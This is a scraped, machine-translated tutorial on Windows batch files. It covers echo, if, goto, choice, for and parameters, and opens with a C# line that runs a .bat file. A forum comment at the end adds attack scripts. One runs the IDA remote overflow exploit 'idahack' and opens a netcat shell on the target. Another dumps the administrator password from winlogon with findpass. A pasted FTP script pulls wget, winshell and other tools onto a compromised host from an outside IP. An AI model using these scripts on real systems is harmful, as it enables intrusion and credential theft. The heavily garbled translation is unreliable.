C # calls A. bat file
Use a namespace: using System.Diagnostics;
System.Diagnostics.Process.Start (Server.MapPath ("Ah.bat"));
=====================================================================
Files that have the extension bat (which can also be cmd under nt/2000/xp/2003) are batch files
First, the batch file is a text file, each line of the file is a DOS command (most of the time as we do at the DOS prompt command line), you can use the DOS edit or Windows Notepad (Notepad) Wait for any text file editing tool to create and modify batch files.
Second, a batch file is a simple program that can control the flow of command runs through conditional statements (if) and Process Control statements (GOTO), and you can use circular statements (for) to loop through a command in a batch. Of course, the programming ability of batch file is very limited and very nonstandard compared with programming statements such as C language. Batch program statements are all DOS commands (including internal commands and external commands), and the ability to batch processing depends largely on the commands you use.
Thirdly, each well-written batch file is equivalent to a DOS external command, and you can put its directory in your DOS search path (path) so that it can run anywhere. A good habit is to build a bat or batch directory on your hard disk (for example, C:\BATCH), and then put all the batch files you write into that directory so that you can run all the batch programs you write in any location as long as you set up c:\batch in path.
IV, under DOS and win9x/me systems, C: The Autoexec.bat batch file under the packing directory is the batch file that runs automatically every time the system starts, you can put the command that will run every time the system starts, such as setting the search path, adjusting the mouse driver and disk cache, setting the system environment variables, and so on. The following is an example of a Autoexec.bat running under Windows 98:
@ECHO OFF
PATH C:\WINDOWS; C:\WINDOWS\COMMAND; C:\UCDOS; C:\DOSTools; C:\SYSTOOLS; C:\WINTOOLS; C:\BATCH
LH smartdrv. exe/x
LH Doskey.com/insert
LH Ctmouse. Exe
SET temp=d:\temp
SET tmp=d:\temp
The role of batch processing
Simply put, the role of batch processing is to automatically execute multiple commands consecutively.
Here is one of the simplest applications: When you start the WPS software, you must do it every time (> The DOS prompt is represented in the previous section):
C:\>CD WPS
C:\wps>spdos
C:\wps>py
C:\wps>wbx
C:\wps>wps
If you do this once every time you use WPS, do you feel a lot of trouble?
Well, with batch processing, you can implement these cumbersome operations to simplify, first we write a runwps.bat batch file, the content is as follows:
@echo off
C:
Cd\wps
Spdos
Py
Wbx
Wps
cd\
Later, each time we enter WPS, we only need to run runwps this batch file.
Common commands
Echo, @, call, pause, REM (tip: Use:: Instead of REM) are some of the most common commands for batch files, and we start with them.
Echo indicates the character that appears after this command
echo off means that all running commands do not display the command line itself after this statement
@ with echo off, but it is added at the front of each command line, indicating that the runtime does not display this line of command line (only affects the current row).
Call calls another batch file (if the batch file is called directly without calling, the current file cannot be returned and subsequent commands for the current file are executed after the batch file is executed).
Pause running this sentence pauses the execution of the batch and displays the press any key to continue on the screen ... Prompt, waiting for the user to press any key to continue
REM indicates that the word identifier after this command is interpreted as a line (note), not executed, but for future reference (equivalent to comments in the program).
Example 1: Edit the A.bat file with edit, enter the following to save to C:\a.bat, after executing the batch file can be implemented: the root directory of all files written to A.txt, start Ucdos, into WPS and other functions.
The contents of the batch file are: command comments:
@echo off does not display subsequent command lines and the current command line
Dir c:\*.* >a.txt writes the C-drive file list A.txt
Call C:\ucdos\ucdos.bat calls Ucdos
echo Hello show "Hello"
Pause paused, wait for key to continue
REM Ready to run WPS Note: Ready to run WPS
CD Ucdos into the Ucdos directory
WPS running WPS
Parameters for batch Files
A batch file can also use parameters (equivalent to command-line arguments of a DOS command) in the same way as a C-language function, which requires a parameter representation of "%".
%[1-9] Represents a parameter, which is a string separated by a space (or tab) after the file name when the batch file is run. Variables can represent the batch command itself from%0 to%9,%0, and the other parameter strings are represented in the%1 to%9 order.
Example 2:C: The root directory has a batch of processing files named F.bat, the content is:
@echo off
Format%1
If you do c:\>f a:
Then when the F.bat is executed,%1 represents a:, so that the format%1 is equivalent to format a: So the above command actually executes the format a when it is run:
Example 3: C: Root directory The next batch of processing file name is T.bat, content is:
@echo off
Type%1
Type%2
Then run c:\>t a.txt b.txt
%1: Represents a.txt
%2: Represents b.txt
The above command then displays the contents of the A.txt and B.txt files sequentially.
Special commands
If Goto choice for is a more advanced command in a batch file, you are the expert on batch files if you use them skillfully.
If is a conditional statement used to determine whether the conditions are met, thus deciding to execute different commands. There are three types of formats:
1, if [not] "parameter" = = "string" command to execute
If the parameter equals (not equal to, the same as) the specified string, the condition is set, run the command, or run the next sentence.
Example: If "%1" = = "A" format a:
2. If [not] exist [path \] filename to execute command
If there is a specified file, then the condition is established, run the command, otherwise run the next sentence.
Such as: if exist C:\Config.sys type C:\Config.sys
Indicates that if a C:\Config.sys file exists, its contents are displayed.
3. If errorlevel < digital > Pending command
Many DOS programs return a numeric value at the end of the run to indicate the result (or state) of the program's operation, and the IF ERRORLEVEL command can determine the return value of the program, depending on the return value, to execute different commands (the return value must be in the order of magnitude to small). If the return value equals the specified number, the condition is set up, run the command, or run the next sentence.
if errorlevel 2 goto x2
The goto batch file runs here will jump to the label specified by Goto (label is label, labeled with: followed by a standard string to define), goto statement is generally used with if, according to different conditions to execute different command groups.
Such as:
Goto END
: End
Echo This is the end
The label is defined with a ": string" and the line of the label is not executed.
Choice Use this command to allow the user to enter a character (for selection), to return different ERRORLEVEL based on the user's choice, and then to run the different commands according to the user's choice, if errorlevel mates.
Note: The choice command is a DOS or Windows system-provided external command, different versions of the choice command syntax will be slightly different, please use the choice/? View usage.
Choice command syntax (this syntax is the syntax for the Choice command in Windows 2003, and the command syntax for other versions of choice is similar):
CHOICE [/C choices] [/n] [/cs] [/T timeout/d CHOICE] [/M text]
Describe:
This tool allows the user to select an item from the selection list and return the index of the selected item.
Parameter list:
/C choices Specifies the list of options to be created. The default list is "YN".
/n Hides the list of options in the prompt. Prompts the previous message to be displayed,
option is still enabled.
/cs allows selection of case-sensitive options. By default, this tool
is not case-sensitive.
/T Timeout The number of seconds to pause before making a default selection. Acceptable values are from 0
to 9999. If 0 is specified, there is no pause, and the default option
will be chosen.
/d Choice Specify the default options after nnnn seconds. Characters must be selected with/C
A set of choices specified by the item; At the same time, nnnn must be specified with/T.
/M text Specifies the message to display before prompting. If not specified, the tool only
Displays the prompt.
/? Displays the help message.
Attention:
The ERRORLEVEL environment variable is set to the key index selected from the selection set. The first selection listed
Returns 1, the second option returns 2, and so on. If the user presses a key that is not a valid selection,
The tool will issue a warning noise. If the tool detects an error state, it returns 255 of the
The ERRORLEVEL value. If the user presses the Ctrl+break or CTRL + C key, the tool returns 0
The ERRORLEVEL value. When using the ERRORLEVEL parameter in a batch program, the parameters are dropped
Sequential arrangement.
Example:
CHOICE/?
CHOICE/C ync/m "Confirm please press Y, no press N, or cancel please press C. "
choice/t 10/c ync/cs/d y
choice/c ab/m "option 1 Please select a, option 2 please select B. "
CHOICE/C ab/n/M "option 1 Please select a, option 2 please select B. "
If I run the command: choice/c ync/m "confirm Press Y, no press N, or cancel please press C. "
The screen will show:
Confirm Press Y, no press N, or cancel please press C. [Y,n,c]?
Example: The contents of Test.bat are as follows (note that when you use if errorlevel to determine the return value, you want to sort by the return value from highest to lowest):
@echo off
CHOICE/C dme/m "Defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto MEM
If Errotlevel 1 goto defrag
:d Efrag
C:\dos\defrag
Goto END
: Mem
Mem
Goto END
: End
echo Good bye
After this batch runs, "Defrag,mem,end[d,m,e" will be displayed, the user can select D M E, and if statement according to the user's choice to make a judgment, D for the execution of the program segment labeled Defrag, M for the execution of the program labeled MEM, E represents the execution of a program segment labeled End, where each segment ends with a goto end to jump the program to the end label, and then the program displays good bye, and the batch runs to the end.
The For loop command, which executes the same command multiple times, as long as the condition conforms.
Grammar:
Executes a specific command for each file in a set of files.
For%%variable in (set) do command [Command-parameters]
%%variable specifies a single-letter replaceable parameter.
(set) specifies one or a set of files. Wildcard characters can be used.
command specifies the commands to execute on each file.
Command-parameters
Specify parameters or command-line switches for specific commands.
For example, there is a single line in a batch file:
For%%c in (*.bat *.txt) do type%%c
The command line displays the contents of all files with the bat and txt extensions in the current directory.
Batch processing Example
1. If-exist
1)
First, use Notepad to create a test1.bat batch file in the C: \ file with the following contents.
@echo off
IF EXIST \autoexec. BAT TYPE \autoexec. BAT
IF not EXIST \autoexec. BAT ECHO \autoexec. BAT does not exist
Then run it:
C:\>test1. BAT
If C: \ has a Autoexec.bat file, its contents are displayed and if it does not exist, the batch will prompt you that the file does not exist.
2)
Next, create a Test2.bat file that reads as follows:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF not EXIST \%1 ECHO \%1 does not EXIST
Perform:
C:\>test2 AUTOEXEC. BAT
The command runs as shown above.
Description
(1) If EXIST is used to test whether a file exists, in the form of
IF EXIST [path + file name] Command
(2) The%1 in the Test2.bat file is a parameter, and DOS allows 9 batch parameter information to be passed to the batch file,%1~%9 (% 0 represents the Test2 command itself), which is somewhat like the relationship between the actual parameter and the formal parameter in the programming, and%1 is the formal parameter, AUTOEXEC. BAT is an argument.
3) Further, create a file named Test3.bat, which reads as follows:
@echo off
IF "%1" = = "A" ECHO XIAO
IF "%2" = = "B" ECHO TIAN
IF "%3" = = "C" ECHO XIN
If you run:
C:\>test3 A B C
The screen will show:
XIAO
TIAN
XIN
If you run:
C:\>test3 A B
The screen will show
XIAO
TIAN
During the execution of this command, DOS assigns an empty string to the parameter,% 3.
2, If-errorlevel
Set up the Test4.bat, which reads as follows:
@ECHO OFF
XCOPY C:\AUTOEXEC. BAT d:if ERRORLEVEL 1 ECHO file copy failed
IF ERRORLEVEL 0 ECHO Successful copy file
Then execute the file:
C:\>test4
If the file copy succeeds, the screen will display a "Copy file successfully" or the "copy of file failed" will be displayed.
IF ERRORLEVEL is used to test the return value of its previous DOS command, note that it is only the return value of the previous command, and the return value must be judged in order from large to small.
Therefore, the following batch file is incorrect:
@ECHO OFF
XCOPY C:\AUTOEXEC. BAT D:\
IF ERRORLEVEL 0 ECHO Successful copy file
IF ERRORLEVEL 1 ECHO not found copy file
IF ERRORLEVEL 2 ECHO user aborts copy operation via Ctrl-c
IF ERRORLEVEL 3 ECHO Preset error prevents file copy operation
IF ERRORLEVEL 4 Write error during ECHO copy
Whether the copy is successful or not, the following:
Copy file not found
User aborts copy operation via Ctrl-c
Preset error prevents file copy operation
Write error in copy process
are displayed.
Here are the return values of several commonly used commands and what they mean:
Backup
0 Backup succeeded
1 backup File not found
2 File Sharing violation prevents backup from completing
3 User aborted backup with Ctrl-c
4 The backup operation was aborted due to a fatal error
Diskcomp
0 disks are more identical
1 Disks Compare different
2 user aborted comparison operation via Ctrl-c
3 The comparison operation is aborted due to a fatal error
4 Preset Error Abort comparison
diskcopy
0 Disk copy operation succeeded
1 non-fatal disk read/write error
2 user end copy operation via Ctrl-c
3 The disk copy is aborted due to a fatal processing error
4 Preset error preventing copy operation
Format
0 formatting succeeded
3 user aborted format processing via CTRL-C
4 formatting aborted due to fatal processing error
5 at the prompt "Proceed with format (y/n)?" Under User type N end
Xcopy
0 successfully copied files
1 copy File not found
2 user aborted copy operation via Ctrl-c
4 Preset errors prevent file copy operations
5 Write Error during copy
3, IF STRING1 = = STRING2
Establish Test5.bat, the file contents are as follows:
@echo off
IF "%1" = = "A" FormAT A:
Perform:
C:\>test5 A
The screen will appear with the contents of the A: disk formatted.
Note: In order to prevent arguments from being empty, it is common to enclose the string in double quotation marks (or other symbols, note that you cannot use a retention symbol).
such as: if [%1]==[a] or if%1*==a*
5. GOTO
Establish Test6.bat, the file contents are as follows:
@ECHO OFF
IF EXIST C:\AUTOEXEC. BAT GOTO _copy
GOTO _done
: _copy
COPY C:\AUTOEXEC. BAT D:\
: _done
Attention:
(1) The colon ":" of the ASCII character before the label, no space between the colon and the label.
(2) The naming rules for labels are the same as the naming rules for filenames.
(3) DOS supports a maximum of eight characters, and when two labels cannot be distinguished, jumps to the nearest label.
6. For
Establish C:\TEST7. BAT, the file contents are as follows:
@ECHO OFF
For%%C in (*. BAT *. TXT *. SYS) do TYPE%%C
Run:
C:>test7
After execution, the screen will display all the contents of the file (excluding hidden files) in the C: Packing directory with the name extension of bat, TXT, sys.
____________________________________________________________________________________________________
[DOWNLOAD] [cite this article] [comment] [send this article] [close window]
Comments about this article:
This article has 6 related comments as follows: (click here to view the forum)
--------------------------------------------------------------------------------
Bluekylin Posted: 2004/11/24 10:25pm
Win2000 command Line method batch BAT file tips
————————————————————————————————————————————
Article structure
1. Help information for all built-in commands
2. The concept of environmental variables
3. Built-in special symbols (the actual use of intermediate attention to avoid)
4. Simple batch file concept
5. Annex 1 Tmp.txt
6. Annex 2 Sample.bat
######################################################################
1. Help information for all built-in commands
######################################################################
Ver
CMD/?
Set/?
REM/?
If/?
echo/?
Goto/?
For/?
Shift/?
Call/?
Other common commands that you need
Type/?
Find/?
findstr/?
Copy/?
______________________________________________________________________
The following will output all of the above help to a file
Echo ver >tmp.txt
Ver >>tmp.txt
echo cmd/? >>tmp.txt
CMD/? >>tmp.txt
echo REM/? >>tmp.txt
REM/? >>tmp.txt
echo If/? >>tmp.txt
If/? >>tmp.txt
Echo Goto/? >>tmp.txt
Goto/? >>tmp.txt
echo for/? >>tmp.txt
For/? >>tmp.txt
echo Shift/? >>tmp.txt
Shift/? >>tmp.txt
echo Call/? >>tmp.txt
Call/? >>tmp.txt
echo Type/? >>tmp.txt
Type/? >>tmp.txt
echo Find/? >>tmp.txt
Find/? >>tmp.txt
echo findstr/? >>tmp.txt
findstr/? >>tmp.txt
echo Copy/? >>tmp.txt
Copy/? >>tmp.txt
Type Tmp.txt
______________________________________________________
######################################################################
2. The concept of environmental variables
######################################################################
_____________________________________________________________________________
C:\Program Files>set
Allusersprofile=c:\documents and Settings\All Users
Commonprogramfiles=c:\program Files\Common Files
Computername=first
Comspec=c:\winnt\system32\cmd.exe
Number_of_processors=1
Os=windows_nt
Os2libpath=c:\winnt\system32\os2\dll;
Path=c:\winnt\system32; C:\WINNT; C:\WINNT\system32\WBEM
pathext=.com;. EXE;. BAT;. CMD;. VBS;. VBE;. JS;. JSE;. WSF;. WSH
Processor_architecture=x86
Processor_identifier=x86 Family 6 Model 6 stepping 5, Genuineintel
Processor_level=6
processor_revision=0605
Programfiles=c:\program Files
prompt= $P $g
Systemdrive=c:
Systemroot=c:\winnt
Temp=c:\winnt\temp
Tmp=c:\winnt\temp
Userprofile=c:\documents and Settings\Default User
Windir=c:\winnt
_____________________________________________________________________________
Path: Represents the search path for the executable program. My advice is that you copy your program to
%windir%\system32\. Inside this directory. You can automatically search for it in general.
Syntax: Copy mychenxu.exe%windir%\system32\.
Easy to use Point (.) for a Glance
Use of reference to environment variables (English mode, half-width) double quotation marks
%windir% variable
%%windir%% Two-time variable reference.
And what we used to do
%temp% Temp file directory
%windir% System Directory
%errorlevel% Exit code
The output file is inside the temp file directory. This makes the current directory neat.
The parameter that has a space. You should learn to use double quotation marks ("") to indicate, for example, the Porgram file folder operation
C:\>dir p*
C + The directory
2000-09-02 11:47 2,164 PDOS. Def
1999-01-03 00:47 <DIR> Program Files
1 files 2,164 bytes
1 Directories 1,505,997,824 bytes available
C:\>CD pro*
C:\Program files>
C:\>
C:\>CD "Program Files"
C:\Program files>
######################################################################
3. Built-in special symbols (the actual use of intermediate attention to avoid)
######################################################################
The following characters are built into Microsoft and cannot be used in the middle of the created file name
Con nul aux \/| | | && ^ > < *
You can use the most characters as variable values, including white space. If you use the special characters <,;, |, &, or ^, you must precede them with the escape character (^) or quota tion Marks. If You use quotation marks, they be included as part of the value because everything following the equal sign is taken as The value. Consider the following examples:
(The main idea: either you use ^ as a leading character or only use double quotes "")
To create the variable value new&name, type:
Set Varname=new^&name
To create the variable value "New&name", type:
Set Varname= "New&name"
The ampersand (&), pipe (|), and parentheses () is special characters that must is preceded by the escape character (^) or quotation marks when you pass them as arguments.
Find "Pacific Rim" < trade.txt > Nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. Missing
> Create a file
>> Append to a file
@ prefix character. Indicates that the line is not displayed in CMD when executed, and can be turned off using echo off
^ Leading characters for special symbols (> < &). The first one just shows AAA second output file BBB
Echo 123456 ^> AAA
echo 1231231 > BBB
() contains commands
(Echo AA & Echo BB)
, and the default separator symbol, like a space.
; Comment, which is followed by a comment
: Marking function
| Pipeline operation
& Usage: First Command & second command [& Third command ...]
In this way, multiple commands can be executed at the same time, regardless of whether the command executes successfully
Dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage: First command && second command [&& Third command ...]
The subsequent command is not executed when the command is executed, and all commands are executed if there is no error.
|| Usage: first Command | | Second command [| | | Third command ...]
The following command will not be executed when the correct command is encountered, and all commands are executed if the correct command is not present;
Common syntax formats
IF [NOT] ERRORLEVEL number command para1 PARA2
IF [NOT] string1==string2 command para1 PARA2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF not EXIST filename command para1 para2
IF "%1" = = "" Goto END
IF "%1" = = "NET" Goto net
IF not "%2" = = "NET" goto other
IF ERRORLEVEL 1 Command para1 PARA2
IF not ERRORLEVEL 1 command para1 PARA2
FOR/L%%i in (start,step,end) do command [Command-parameters]%%i
For/f "eol=; tokens=2,3* delims=, "%i in (myfile.txt) do echo%i%j%k
IJKLMNOPQ the arguments in alphabetical order.
Eol=c-refers to the end of a line comment character (just one)
Skip=n-refers to the number of rows that are ignored at the beginning of the file.
Delims=xxx-refers to the delimiter set. This replaces the space and the default delimiter set for the jump bar.
######################################################################
4. Simple batch file concept
######################################################################
echo this is test > a.txt
Type A.txt
echo This is test 11111 >> a.txt
Type A.txt
echo This is Test 22222 > A.txt
Type A.txt
The second echo is an append
The third echo will empty a.txt re-create A.txt
Netstat-n | Find "3389"
This will list the IP of all users connected to 3389.
________________test.bat___________________________________________________
@echo
echo Plese Care 1111
echo Plese Care 2222
echo Plese Care 3333
@echo
@echo Plese Care 1111
@echo Plese Care 2222
@echo Plese Care 3333
REM does not display comment statements, the bank displays
@rem do not display comment statements, the bank does not display
@if exist%windir%\system32\find.exe (echo find Find.exe!!!) Else (echo Error:not find Find.exe)
@if exist%windir%\system32\fina.exe (echo find Fina.exe!!!) Else (echo Error:not find Fina.exe)
___________________________________________________________________________
The following is an example of a specific Idahack program that is IDA remote overflow. It should be very simple.
___________________ida.bat_________________________________________________
@rem Ver 1.0
@if not exist%windir%\system32\idahack.exe echo "Error:dont find Idahack.exe"
@if not exist%windir%\system32\nc.exe echo "Error:dont find Nc.exe"
@if "%1" = = "" Goto USAGE
@if not "%2" = = "" Goto SP2
: Start
@echo now start ...
@ping%1
@echo Chinese win2k:1 sp1:2 sp2:3
Idahack.exe%1 1 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] Idahack.exe"
@type%temp%\_tmp
@find "Good luck:)"%temp%\_tmp
@echo "prog exit code [%errorlevel%] Find [goog luck]"
@if not errorlevel 1 nc.exe%1 99
@goto END
: SP2
@idahack. exe%1,%temp%\_tmp
@type%temp%\_tmp
@find "Good luck:)"%temp%\_tmp
@if not errorlevel 1 nc.exe%1 99
@goto END
: USAGE
@echo Example:ida.bat IP
@echo Example:ida.bat IP (2,3)
: END
_____________________ida.bat__end_________________________________
Here we come to the second file. is to get administrator's password.
Most people don't get it. In fact, they didn't enter the correct information.
___________________________fpass.bat____________________________________________
@rem Ver 1.0
@if not exist%windir%\system32\findpass.exe echo "Error:dont find Findpass.exe"
@if not exist%windir%\system32\pulist.exe echo "Error:dont find Pulist.exe"
@echo start ....
@echo ____________________________________
@if "%1" = = "" Goto USAGE
@findpass. exe%1%2%3 >>%temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] Findpass.exe"
@type%temp%\_findpass.txt
@echo ________________________________here__pass★★★★★★★★
@ipconfig/all >>%temp%\_findpass.txt
@goto END
: USAGE
@pulist. exe >%temp%\_pass.txt
@findstr. exe/i "WINLOGON Explorer Internat"%temp%\_pass.txt
@echo "Example:fpass.bat%1%2%3%4!!!"
@echo "Usage:findpass.exe DomainName UserName Pid-of-winlogon"
: END
@echo "Fpass.bat%computername%%USERNAME% Administrator"
@echo "Fpass.bat end [%errorlevel%]!"
_________________fpass.bat___end___________________________________________________________
There is also a remote host that has been logged in via Telnet. How to upload a file (win)
Enter something below the window in turn. Of course, you can also copy all of them. Ctrl + V past. Then just wait!!
echo Open 210.64.x.4 3396>w echo read>>w echo read>>w echo CD winnt>>w echo binary>>w echo pwd >>w echo Get Wget.exe >>w echo get Winshell.exe >>w echo get Any.exe >>w Echo quit >>w FTP- S:w
These are the contents of the implementation code of the C # call. bat file, please follow topic.alibabacloud.com (www.php.cn) for more information!